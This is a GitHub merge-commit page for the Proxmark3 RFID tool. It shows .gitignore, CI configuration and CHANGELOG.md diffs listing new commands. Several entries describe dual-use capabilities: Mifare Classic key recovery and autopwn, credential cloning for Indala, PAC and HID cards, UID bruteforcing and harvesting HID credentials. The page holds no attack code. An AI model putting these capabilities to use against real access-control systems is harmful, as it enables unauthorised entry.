Merge pull request #27 from RfidResearchGroup/master

Resync from Master
This commit is contained in:
mwalker33 2020-02-16 20:22:18 +11:00 committed by GitHub
commit ad66ea51e4
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
256 changed files with 64049 additions and 3256 deletions

3
.gitignore vendored
View file

@ -20,12 +20,15 @@
*.dll *.dll
*.moc.cpp *.moc.cpp
*.z *.z
*.gz
*.Td *.Td
*.DS_Store *.DS_Store
*.exe *.exe
*.dsym *.dsym
version.c version.c
*.json *.json
*.old
*.swp
# new build file for add-ons. # new build file for add-ons.
Makefile.platform Makefile.platform

View file

@ -33,9 +33,11 @@ addons:
packages: packages:
- gcc-arm-none-eabi - gcc-arm-none-eabi
- libnewlib-dev - libnewlib-dev
- libsndfile1-dev
homebrew: homebrew:
packages: packages:
- readline - readline
- libsndfile
- qt5 - qt5
- RfidResearchGroup/proxmark3/arm-none-eabi-gcc - RfidResearchGroup/proxmark3/arm-none-eabi-gcc
taps: RfidResearchGroup/proxmark3 taps: RfidResearchGroup/proxmark3

View file

@ -3,201 +3,244 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased] ## [unreleased][unreleased]
- Fix hf list felica and hf felica sniff (@7homasSutter) - Added `hf lto restore` - restore LTO cartridge memory from dump file [.bin|.eml] (@Kevin-Nakamoto)
- Added hf felica wrunencrypted (@7homasSutter) - Added `LF_ICEHID` standalone mode which searches for lf HID credentials and store to RDV4 flashmem (@iceman1001)
- Added hf felica rdunencrypted (@7homasSutter) - Added `HF_14ASNIFF` standalone mode with storing trace to RDV4 flashmem (@micolous)
- Added hf felica rqresponse (@7homasSutter) - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto)
- Added hf felica rqservice (@7homasSutter) - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001)
- Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto)
- Fix compilation under openSUSE (@hsanjuan)
- Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001)
- Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001)
- Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions.
- Added `hf plot` (@pwpiwi)
- Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001)
- Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001)
- Change `lf indala clone` - new option `-c <card id>` allows cloning INDALA tag from Heden2L/Hedengren ID format (@iceman1001) - Thanks to @randomdude42 for solution
- Change `lf indala demod` - added decode Heden2L/Hedengren format (@iceman1001) - Thanks to @randomdude42 for solution
- Added `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001)
- Change `lf pac clone` - new option `c <card id>` to allow cloning PAC/Stanley tag from card ID (@danshuk)
- Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk)
- Change mifare classic keytable output refactored and uses colors (@iceman1001)
- Fix `hf mf nested` - now writes the correct blockno (@iceman1001)
- Change `lf t55xx dump` - now supports saving to JSON (@iceman1001)
- Change `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi)
- Change `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001)
- Change `hf mf csave` - now uses UID in filename (@iceman1001)
- Fix `hf mf chk` - read block B logical error. #489 (@iceman1001)
- Added `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001)
- Added `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001)
- Added `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld)
- Added `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk)
- Added `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk)
- Change `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001)
- Change `data save f <filename> w` - params reworked. (@iceman1001)
- Change `hf search` - now should detect LTO-CM tags (@iceman1001)
- Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001)
- Added saving as wave format (@anon)
- Added ISO15_WRITE annotation (@pwipiw)
- Added `lto_dump.lua` @kevin
- Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk)
- Added `pm3_mf7b_wipe.py` python script. Wipes magic S70 7B Gen2 card. (@vulnersCom)
- Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk)
- Change `hf 15` - some refactoring (@grspy)
- Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy)
- Added detailed info for SLIX2 tags in `hf 15 info` (@grspy)
- Fix `hf list felica` and `hf felica sniff` (@7homasSutter)
- Added `hf felica wrunencrypted` (@7homasSutter)
- Added `hf felica rdunencrypted` (@7homasSutter)
- Added `hf felica rqresponse` (@7homasSutter)
- Added `hf felica rqservice` (@7homasSutter)
- Added polling for felica standard (@7homasSutter) - Added polling for felica standard (@7homasSutter)
- Added lf t55xx dump save and lf t55xx restore for .bin and .eml files (@mwalker33) - Added `lf t55xx dump save` and `lf t55xx restore` for .bin and .eml files (@mwalker33)
- Added lf t55xx detected to try without password first (@mwalker33) - Added `lf t55xx detected` to try without password first (@mwalker33)
- Chg `lf indala read` - added indala 26bit decoding (@martinbeier) - Change `lf indala read` - added indala 26bit decoding (@martinbeier)
- Chg `lf t55xx detect` to try without password first (@mwalker33) - Change `lf t55xx detect` to try without password first (@mwalker33)
- Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101)
- Add option `-n` to scripts pm3* (@doegox) - Added option `-n` to scripts pm3* (@doegox)
- Add `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) - Added `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs)
- Added support for color text on windows 10 (@mwalker33) - Added support for color text on windows 10 (@mwalker33)
- Added `s` <samples to skip> to `lf config` / `lf sniff` to skip samples when sniffing based on same option in Proxmark/proxmark3 by @marshmellow42. (@mwalker33) - Added `s` <samples to skip> to `lf config` / `lf sniff` to skip samples when sniffing based on same option in Proxmark/proxmark3 by @marshmellow42. (@mwalker33)
- Added save to .eml and .bin for `em 4x05_dump` (@mwalker33) - Added save to .eml and .bin for `em 4x05_dump` (@mwalker33)
- Add option `-n` to scripts pm3* (@doegox) - Added option `-n` to scripts pm3* (@doegox)
- Fix `em 4x05_dump` to print all blocks read (@mwalker33) - Fix `em 4x05_dump` to print all blocks read (@mwalker33)
- Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33) - Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33)
- Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33) - Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33)
- Add `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) - Added `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001)
- Chg `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) - Change `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001)
- Added T55x7 downlink mode support r <mode> 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33) - Added T55x7 downlink mode support r <mode> 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33)
- Chg proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) - Change proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox)
- Chg `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) - Change `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001)
- Fix `hf iclass clone` - last block always fails (@iceman1001) - Fix `hf iclass clone` - last block always fails (@iceman1001)
- Chg `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) - Change `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001)
- Chg `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) - Change `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001)
- Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001) - Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001)
- Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001) - Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001)
- Add cmdscript example and show usage with shebang (@doegox) - Added cmdscript example and show usage with shebang (@doegox)
- Add instructions for Fedora (@doegox) - Added instructions for Fedora (@doegox)
- Chg reduce the list of requirements to the minimum and move to QT5 (@doegox) - Change reduce the list of requirements to the minimum and move to QT5 (@doegox)
- Add `make install` and reorganize/rename stuffs accordingly (@doegox) - Added `make install` and reorganize/rename stuffs accordingly (@doegox)
- Add searchFile for several types of files (@doegox / @iceman1001) - Added searchFile for several types of files (@doegox / @iceman1001)
- Chg posix sh version of mkversion (@doegox) - Change posix sh version of mkversion (@doegox)
- Chg remove entirely ncurses, not needed nowadays (@doegox) - Change remove entirely ncurses, not needed nowadays (@doegox)
- Chg remove deprecated termcap, use ncurses instead (@ZeroChaos-) - Change remove deprecated termcap, use ncurses instead (@ZeroChaos-)
- Chg `hf iclass encrypt` - now takes transport key as param. (@iceman1001) - Change `hf iclass encrypt` - now takes transport key as param. (@iceman1001)
- Chg `hf iclass decrypt` - now takes transport key as param. (@iceman1001) - Change `hf iclass decrypt` - now takes transport key as param. (@iceman1001)
- Chg `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) - Change `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001)
- Chg history and logfile are now saved into $HOME/.proxmark3/ (@doegox) - Change history and logfile are now saved into $HOME/.proxmark3/ (@doegox)
- Chg optimization of iclass mac calculations on deviceside (@pwpiwi) - Change optimization of iclass mac calculations on deviceside (@pwpiwi)
- Add `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) - Added `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath)
- Add Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) - Added Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox)
- Change Lua directory scripts/ to luascript/ (@doegox) - Change Lua directory scripts/ to luascript/ (@doegox)
- Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox) - Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox)
- Fix reveng integration for all platforms else than WIN32 (@doegox) - Fix reveng integration for all platforms else than WIN32 (@doegox)
- Add cheat sheet for easy operations of the Proxmark3 (scund00r) - Added cheat sheet for easy operations of the Proxmark3 (scund00r)
- Chg commands are now in green in the helptext list (@iceman1001) - Chg commands are now in green in the helptext list (@iceman1001)
- Fix `script run ndefdump` - better exit messages when failing (@iceman1001) - Fix `script run ndefdump` - better exit messages when failing (@iceman1001)
- Fix `hf iclass dump` - now also saves in EML format (@iceman1001) - Fix `hf iclass dump` - now also saves in EML format (@iceman1001)
- Fix `hf iclass sim 3` - now works on legacy readers and legacy SE readers (@iceman1001) - Fix `hf iclass sim 3` - now works on legacy readers and legacy SE readers (@iceman1001)
- Rework hitag2 read/write help (@ViRb3) - Rework hitag2 read/write help (@ViRb3)
- Add `lf nedap` - encoding / decoding (anon) - Added `lf nedap` - encoding / decoding (anon)
- Add client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) - Added client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox)
- Add VSCode tasks (@ViRb3) - Added VSCode tasks (@ViRb3)
- Better warn user of hardcoded hitag info (@ViRb3) - Better warn user of hardcoded hitag info (@ViRb3)
- Format and docs hitag (@ViRb3) - Format and docs hitag (@ViRb3)
- Fix hitag password write offset by 1 (@ViRb3) - Fix hitag password write offset by 1 (@ViRb3)
- Fix momentarily flash read/write of dicts (@doegox/@cjbrigato) - Fix momentarily flash read/write of dicts (@doegox/@cjbrigato)
- Add some more default keys (@anon) - Added some more default keys (@anon)
- Add `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) - Added `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox)
- Add `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) - Added `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox)
- Fix `hf topaz reader` - don't crash when trying to read a Thinfilm tag (@iceman1001) - Fix `hf topaz reader` - don't crash when trying to read a Thinfilm tag (@iceman1001)
- Add `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) - Added `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001)
- Add FPGA LF adc path (@anon) - Added FPGA LF adc path (@anon)
- Add ECC support / check for NID_secp128r1 (@pwpiwi) - Added ECC support / check for NID_secp128r1 (@pwpiwi)
- Add some more default keys (ollibolli) - Added some more default keys (ollibolli)
- Fix T55x7 Downlink timings backward compatible (@mwalker33) - Fix T55x7 Downlink timings backward compatible (@mwalker33)
- Add proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) - Added proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox)
- Add T55x7 Downlink mode support (@mwalker33) - Added T55x7 Downlink mode support (@mwalker33)
- Add SPIFFS Flash filesystem support (@cjbrigato) - Added SPIFFS Flash filesystem support (@cjbrigato)
- Fix support for flashing 512K units with old bootrom (@slurdge/@doegox) - Fix support for flashing 512K units with old bootrom (@slurdge/@doegox)
- Fix `hf mf sim` - wrong access rights to write key B in trailer (@McEloff) - Fix `hf mf sim` - wrong access rights to write key B in trailer (@McEloff)
- Add option -i to flasher to query Pm3 for its memory size (@doegox) - Added option -i to flasher to query Pm3 for its memory size (@doegox)
- Add support for flashing 512K units (@slurdge) - Added support for flashing 512K units (@slurdge)
- Add a simple python tool to check the elf sizes (@slurdge) - Added a simple python tool to check the elf sizes (@slurdge)
- Change: new keys for Vigik badges in default_keys.dict (@luminouw) - Change: new keys for Vigik badges in default_keys.dict (@luminouw)
- Add `hw standalone` to jump to standalone mode from command line or script (@doegox) - Added `hw standalone` to jump to standalone mode from command line or script (@doegox)
- Add to `hf 14a apdu` print apdu and compose apdu (@merlokk) - Added to `hf 14a apdu` print apdu and compose apdu (@merlokk)
- Change: buggy `mem read` removed, `mem save` renamed `mem dump`, can now display too (@doegox) - Change: buggy `mem read` removed, `mem save` renamed `mem dump`, can now display too (@doegox)
- Fix: timeout for mem wipe was too short, thanks @cjbrigato (@doegox) - Fix: timeout for mem wipe was too short, thanks @cjbrigato (@doegox)
- Fix `hf mf sim` - Mifare Classic simulation more flexible anti-collision check (@McEloff) - Fix `hf mf sim` - Mifare Classic simulation more flexible anti-collision check (@McEloff)
- Change: `hf mf sim` - Mifare Classic simulation not respond NACK on invalid authentication request (@McEloff) - Change: `hf mf sim` - Mifare Classic simulation not respond NACK on invalid authentication request (@McEloff)
- Change: `read_pwd_mem.lua` now handles Mifare Classic dictionaries large than 4096 bytes (@iceman1001) - Change: `read_pwd_mem.lua` now handles Mifare Classic dictionaries large than 4096 bytes (@iceman1001)
- Change: Do not clear trace log during `hf mf chk`, to save whole process history (@McEloff) - Change: Do not clear trace log during `hf mf chk`, to save whole process history (@McEloff)
- Add `msleep` command, for pauses in scripts (@doegox) - Added `msleep` command, for pauses in scripts (@doegox)
- Add support for WSL in proxmark.sh (@doegox) - Added support for WSL in proxmark.sh (@doegox)
- Add documentation for usage of Proxmark3 under WSL (@doegox) - Added documentation for usage of Proxmark3 under WSL (@doegox)
- Change: replace aes.c with mbedtls version (@slurdge) - Change: replace aes.c with mbedtls version (@slurdge)
- Change: replace ukbhit by kbd_enter_pressed, not requiring tcgetattr (@xianglin1998/@doegox) - Change: replace ukbhit by kbd_enter_pressed, not requiring tcgetattr (@xianglin1998/@doegox)
- Add config for RaspberryPi in JTAG tools (@doegox) - Added config for RaspberryPi in JTAG tools (@doegox)
- Add config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) - Added config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox)
- Fix compilation under MacOSX with binutils (@matrix) - Fix compilation under MacOSX with binutils (@matrix)
- Add dynamic report of the chipID for flashing purposes (@slurdge) - Added dynamic report of the chipID for flashing purposes (@slurdge)
- Fix Clang warnings (@matrix) - Fix Clang warnings (@matrix)
- Fix EMVGPO bug (@matrix) - Fix EMVGPO bug (@matrix)
- Add hitag2 write password auth (@ViRb3) - Added hitag2 write password auth (@ViRb3)
- Add check if bootloader segment is within bounds (@slurdge) - Added check if bootloader segment is within bounds (@slurdge)
- Add `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) - Added `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null)
- Change: Print help if unknown arg for hitag reader/writer (@ViRb3) - Change: Print help if unknown arg for hitag reader/writer (@ViRb3)
- Fix clock deadlock in hitag sniff (@ViRb3) - Fix clock deadlock in hitag sniff (@ViRb3)
- Add compiler info in client & ARM sections (@slurdge) - Added compiler info in client & ARM sections (@slurdge)
- Add support for automatic COM detection on Windows (@slurdge) - Added support for automatic COM detection on Windows (@slurdge)
- Add support for compilation on RaspberryPiZero (armv6) (@doegox) - Added support for compilation on RaspberryPiZero (armv6) (@doegox)
- Change: updates to README (@iceman1001) - Change: updates to README (@iceman1001)
- Change: `hf mf/mfu dbg` => `hw dbg` (@doegox) - Change: `hf mf/mfu dbg` => `hw dbg` (@doegox)
- Change: replace usb_poll_validate_length() by data_available() that supports USART too (@doegox) - Change: replace usb_poll_validate_length() by data_available() that supports USART too (@doegox)
- Make sure standalone modes can be launched when connected on USB without client (@doegox) - Make sure standalone modes can be launched when connected on USB without client (@doegox)
- Change: cleaner makefile execution, use `make V=1` if you want to see full lines (@doegox) - Change: cleaner makefile execution, use `make V=1` if you want to see full lines (@doegox)
- Change: automate make clean when platform definitions are changed (@doegox) - Change: automate make clean when platform definitions are changed (@doegox)
- Add STANDALONE option to Makefile.hal (@Fl0-0) - Added STANDALONE option to Makefile.hal (@Fl0-0)
- Change: mem info - production public key to verify rdv4.0 flash signature (@iceman1001) - Change: mem info - production public key to verify rdv4.0 flash signature (@iceman1001)
- Fix specify that we need TCP and not UDP connection (@phcoder) - Fix specify that we need TCP and not UDP connection (@phcoder)
- Change: lf cotag demod - adjusted error trigger (@iceman1001) - Change: lf cotag demod - adjusted error trigger (@iceman1001)
- Add documentation on BT add-on (@iceman1001/@doegox) - Added documentation on BT add-on (@iceman1001/@doegox)
- Change: new button behaviour in bootloader mode, no need to keep it pressed, press again to interrupt (@doegox) - Change: new button behaviour in bootloader mode, no need to keep it pressed, press again to interrupt (@doegox)
- Change: new keys in dicts, new mem layout to accomodate them (@iceman1001/various) - Change: new keys in dicts, new mem layout to accomodate them (@iceman1001/various)
- Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman1001) - Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman1001)
- Change: hf 14a sim / hf mf sim - check buttonpress/usb frame fewer times in order not to disrupt simulation (@McEloff) - Change: hf 14a sim / hf mf sim - check buttonpress/usb frame fewer times in order not to disrupt simulation (@McEloff)
- Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman1001) - Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman1001)
- Change: lf em 410x_demod - now can demod the simulation data (@iceman1001) - Change: lf em 410x_demod - now can demod the simulation data (@iceman1001)
- Add HC-06 scripts for BT add-on (@doegox) - Added HC-06 scripts for BT add-on (@doegox)
- Fix lf nedap sim - error when adding parity (@iceman1001) - Fix lf nedap sim - error when adding parity (@iceman1001)
- Add documentation on UART and baudrates (@doegox/@iceman1001) - Added documentation on UART and baudrates (@doegox/@iceman1001)
- Change: prompt now shows which channel is used (@iceman1001) - Change: prompt now shows which channel is used (@iceman1001)
- Change: USART baudrates computation, up to 6Mbps (@iceman1001/@doegox) - Change: USART baudrates computation, up to 6Mbps (@iceman1001/@doegox)
- Change: hf mf nack - keep sync if started without card over antenna - Change: hf mf nack - keep sync if started without card over antenna
- Add usart btfactory - to reset a misconfigured BT add-on (@doegox) - Added usart btfactory - to reset a misconfigured BT add-on (@doegox)
- Change: hw status - now prints number of dictionary keys loaded (@iceman1001) - Change: hw status - now prints number of dictionary keys loaded (@iceman1001)
- Add home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) - Added home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992)
- Change legic.lua saves data in EML and BIN formats (@iceman1001) - Change legic.lua saves data in EML and BIN formats (@iceman1001)
- Change hf tune - is now synchronous (for BT add-on) and can be interrupted by kbd (@doegox) - Change hf tune - is now synchronous (for BT add-on) and can be interrupted by kbd (@doegox)
- Change: update macOS install instruction (@ Uli Heilmeier) - Change: update macOS install instruction (@ Uli Heilmeier)
- Add trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) - Added trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier)
- Add usart btpin - to change BT add-on PIN (@doegox) - Added usart btpin - to change BT add-on PIN (@doegox)
- Add reconnection support (@iceman1001/@doegox) - Added reconnection support (@iceman1001/@doegox)
- Add usart tx/rx/... - USART developer commands (@doegox) - Added usart tx/rx/... - USART developer commands (@doegox)
- Add PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) - Added PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox)
- Fix slow reconfigure on mingw of serial port (@iceman1001) - Fix slow reconfigure on mingw of serial port (@iceman1001)
- Fix cross thread communictions of timeout variable (@iceman1001) - Fix cross thread communictions of timeout variable (@iceman1001)
- Change: client is now "universal", adapting to Proxmark3 capabilities (@doegox) - Change: client is now "universal", adapting to Proxmark3 capabilities (@doegox)
- Add disconnect support to Lua (@iceman1001) - Added disconnect support to Lua (@iceman1001)
- Change: handles FPC/FLASH FW more gracefully on non-RDV4 pm3 (@doegox) - Change: handles FPC/FLASH FW more gracefully on non-RDV4 pm3 (@doegox)
- Add JTAG support for Shikra (@NinjaStyle82) - Added JTAG support for Shikra (@NinjaStyle82)
- Change: smart color handling: only if linux and on real term (@doegox) - Change: smart color handling: only if linux and on real term (@doegox)
- Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman1001) - Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman1001)
- Change: fast push for many commands (@iceman1001/@doegox) - Change: fast push for many commands (@iceman1001/@doegox)
- Add: fast push for Lua (@iceman1001) - Added: fast push for Lua (@iceman1001)
- Add NDEF parser in Lua (@iceman1001) - Added NDEF parser in Lua (@iceman1001)
- Change: improve NDEF parser (@iceman1001) - Change: improve NDEF parser (@iceman1001)
- Change: all commands got migrated to MIX/NG packet format (@iceman1001/@doegox) - Change: all commands got migrated to MIX/NG packet format (@iceman1001/@doegox)
- Fix: Mifare Ultralight read block missing bytes (@doegox) - Fix: Mifare Ultralight read block missing bytes (@doegox)
- Add support new frame format in all Lua scripts (@iceman1001) - Added support new frame format in all Lua scripts (@iceman1001)
- Add CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) - Added CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox)
- Change baudrate handling, make it clear it is only indicative for USB-CDC & BT (@doegox) - Change baudrate handling, make it clear it is only indicative for USB-CDC & BT (@doegox)
- Change: new progressive light scheme for `hw detectreader` (@doegox) - Change: new progressive light scheme for `hw detectreader` (@doegox)
- Add common error definitions system for retvals (@doegox) - Added common error definitions system for retvals (@doegox)
- Change USART RX & TX code and fix delays handling to make it more robust, especially over BT (@doegox) - Change USART RX & TX code and fix delays handling to make it more robust, especially over BT (@doegox)
- Add support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) - Added support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox)
- Change: loadFile* & saveFile* accept filenames with (or still without) extension (@doegox) - Change: loadFile* & saveFile* accept filenames with (or still without) extension (@doegox)
- Fix LoadEML to accept final "\n", e.g. from pm3_mfd2eml.py (@doegox) - Fix LoadEML to accept final "\n", e.g. from pm3_mfd2eml.py (@doegox)
- Change: rework shell scripts for easy client or flasher (@doegox) - Change: rework shell scripts for easy client or flasher (@doegox)
- Fix: stop poking Internet when compiling (@doegox) - Fix: stop poking Internet when compiling (@doegox)
- Add support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) - Added support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox)
- Fix external flash writing bitflips issues at 24MHz (@doegox) - Fix external flash writing bitflips issues at 24MHz (@doegox)
- Add color support to Dbprintf & alike and rework Dbprintf flags (@doegox) - Added color support to Dbprintf & alike and rework Dbprintf flags (@doegox)
- Change: archive (and fix) hid-flasher (@doegox) - Change: archive (and fix) hid-flasher (@doegox)
- Add standalone placeholder to simplify new standalone integration (@doegox) - Added standalone placeholder to simplify new standalone integration (@doegox)
- Change: refactor standalone mode info string (@iceman1001) - Change: refactor standalone mode info string (@iceman1001)
- Add iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) - Added iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001)
- Change: move compilation options to Makefile.hal (@doegox) - Change: move compilation options to Makefile.hal (@doegox)
- Fix compilation under OSX (@iceman1001) - Fix compilation under OSX (@iceman1001)
- Add openocd config files for JLink (@doegox) - Added openocd config files for JLink (@doegox)
- Fix compilation dependencies for recovery (@doegox) - Fix compilation dependencies for recovery (@doegox)
- Fix segfault when loading a file (@doegox) - Fix segfault when loading a file (@doegox)
- Change/Add new dump format for Ultralight/NTAG, counters support, simulation (@mceloff) - Change/Add new dump format for Ultralight/NTAG, counters support, simulation (@mceloff)
- Add `hf mf sim` full-byte split anticollision support (@mceloff) - Added `hf mf sim` full-byte split anticollision support (@mceloff)
- Fix/Add `hf mf sim` bugs fix, RATS support, etc (@mceloff) - Fix/Add `hf mf sim` bugs fix, RATS support, etc (@mceloff)
- Fix serial of FPC. (@ryan) - Fix serial of FPC. (@ryan)
- Fix `data shiftgraphzero` corrupting end of GraphBuffer (@doegox) - Fix `data shiftgraphzero` corrupting end of GraphBuffer (@doegox)
- Fix `hf legic info` - unsegmented card now uses card size to calc remaining length (@iceman1001) - Fix `hf legic info` - unsegmented card now uses card size to calc remaining length (@iceman1001)
- Add 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) - Added 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp)
- Fix `hf mf hardnested` - not verify key when reading nonce file (@iceman1001) - Fix `hf mf hardnested` - not verify key when reading nonce file (@iceman1001)
- Change optimizations for ask/bi (@iceman1001) - Change optimizations for ask/bi (@iceman1001)
- Fix `hf mf sim` - bugs fix, refactoring (@mceloff) - Fix `hf mf sim` - bugs fix, refactoring (@mceloff)
- Add WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) - Added WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff)
- Change installation instructions and add video links (@5w0rdfish) - Change installation instructions and add video links (@5w0rdfish)
- Change `hf mf sim` to support more types (@vratiskol) - Change `hf mf sim` to support more types (@vratiskol)
- Change better strong wave detection for biphase (@iceman1001) - Change better strong wave detection for biphase (@iceman1001)
- Add `script run test_t55x7` (@iceman1001) - Added `script run test_t55x7` (@iceman1001)
- Add new lua scripting support for some t55xx commands (@iceman1001) - Added new lua scripting support for some t55xx commands (@iceman1001)
- Add FPC USART for BT add-on with pm3 client. (@doegox) - Added FPC USART for BT add-on with pm3 client. (@doegox)
- Add `-b baudrate` option to the pm3 client. (@doegox) - Added `-b baudrate` option to the pm3 client. (@doegox)
- Change `lf t55xx info`: tell if known configuration block0. (@iceman1001) - Change `lf t55xx info`: tell if known configuration block0. (@iceman1001)
- Fix/Add FPC usart: fix TX, bring RX, full speed. (@doegox) - Fix/Add FPC usart: fix TX, bring RX, full speed. (@doegox)
- Change `lf t55xx config` options: allow to toggle on/off i/q5/st - Change `lf t55xx config` options: allow to toggle on/off i/q5/st
@ -207,7 +250,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix Indala 64 on T55xx: use PSK1. (@doegox) - Fix Indala 64 on T55xx: use PSK1. (@doegox)
- Force proper Linefeed (LF) handling in ProxSpace. (@vratiskol) - Force proper Linefeed (LF) handling in ProxSpace. (@vratiskol)
- Fix Makefiles race conditions to allow parallel compilation, e.g. `make -j8`. (@doegox) - Fix Makefiles race conditions to allow parallel compilation, e.g. `make -j8`. (@doegox)
- Add - dictionary key file for MFU. (not in use at the moment) (@mazodude) - Added - dictionary key file for MFU. (not in use at the moment) (@mazodude)
- Change `lf fdx demod` - better biphase maxerrors. (@MalteHillmann) - Change `lf fdx demod` - better biphase maxerrors. (@MalteHillmann)
- Change `hf mf sim` - now works better against android (@mceloff) - Change `hf mf sim` - now works better against android (@mceloff)
- Fix `lf t55xx brute` - now works after aquiredata adaptations (@iceman1001) - Fix `lf t55xx brute` - now works after aquiredata adaptations (@iceman1001)
